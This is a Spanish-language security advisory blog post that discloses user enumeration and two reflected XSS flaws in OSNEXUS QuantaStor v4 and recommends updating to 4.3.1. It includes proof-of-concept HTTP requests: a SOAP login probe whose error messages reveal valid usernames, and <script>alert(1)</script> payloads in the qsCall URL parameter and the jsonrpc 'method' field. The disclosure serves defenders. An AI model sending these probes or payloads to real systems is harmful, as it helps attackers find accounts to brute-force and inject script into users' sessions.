sábado, 19 de agosto de 2017

Múltiples vulnerabilidades en OSNEXUS QuantaStor

OSNEXUS QuantaStor es un software diseñado para facilitar el proceso de administración de almacenamiento. Está presentes en muchos centros de datos alrededor del mundo.





Se han encontrado 3 vulnerabilidades diferentes en la aplicación. Un ataque de enumeración de usuarios y dos vulnerabilidades XSS. Estas vulnerabilidades permitirían un ataque remoto para obtener nombres de usuarios válidos para realizar fuerza bruta y así obtener información confidencial.

Versiones Afectadas: OSNEXUS QuantaStor v4


Enumeración de usuarios

El sistema de logueo del software devuelve distintas respuesta dependiendo de si el usuario está presente o no en el sistema. Aprovechando estas respuestas, el atacante podría realizar esta enumeración de usuarios del sistema, ya que podría distinguir cuentas válidas de las inválidas.

POST / HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: localhost:5152
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Authorization: Basic <Credenciales en base64>
Content-Length: 384
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";>
<soapenv:Body>
<objectGet xmlns="http://quantastor.osnexus.com/webservices/osn.xsd";><reserved xmlns="">
</reserved></auditLogGet></soapenv:Body></soapenv:Envelope>


Si el usuario es válido la respuesta sería:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>&lt;fault&gt;Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1) [err=26] &lt;/fault&gt;</faultstring><detail><detail><msg>Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1)

[err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>


Si el usuario no es válido, devolvería:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>&lt;fault&gt;Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]&lt;/fault&gt;</faultstring><detail><detail><msg> Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]

</msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>


Vulnerabilidad XSS en “qsCall”

La API de QuantaStor acepta parámetros mediante el uso de "qsCall". Si el método llamado no existe salta un error indicando que el método invocado no es válido. Un atacante puede incluir código HTML o JS en las llamadas a "qsCall".

https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E


Vulnerabilidad XSS en “jsonrpc”

El "jsonrpc" de la API de QuantaStor acepta parámetros a través del uso de un diccionario en JSON. Si el método llamado no existe se dispara un error parecido al de la anterior vulnerabilidad. Un atacante puede aprovechar esto para incluir código HTML o JS en la key "method: x".

POST /qstorapi/jsonrpc HTTP/1.
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: <HOST>:8153
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 54
{"method":"<script>alert(1)</script>", "params":"asd"}


Para corregir estas vulnerabilidades se recomienda actualizar a la versión 4.3.1 que solventa estos errores.



Mario Parra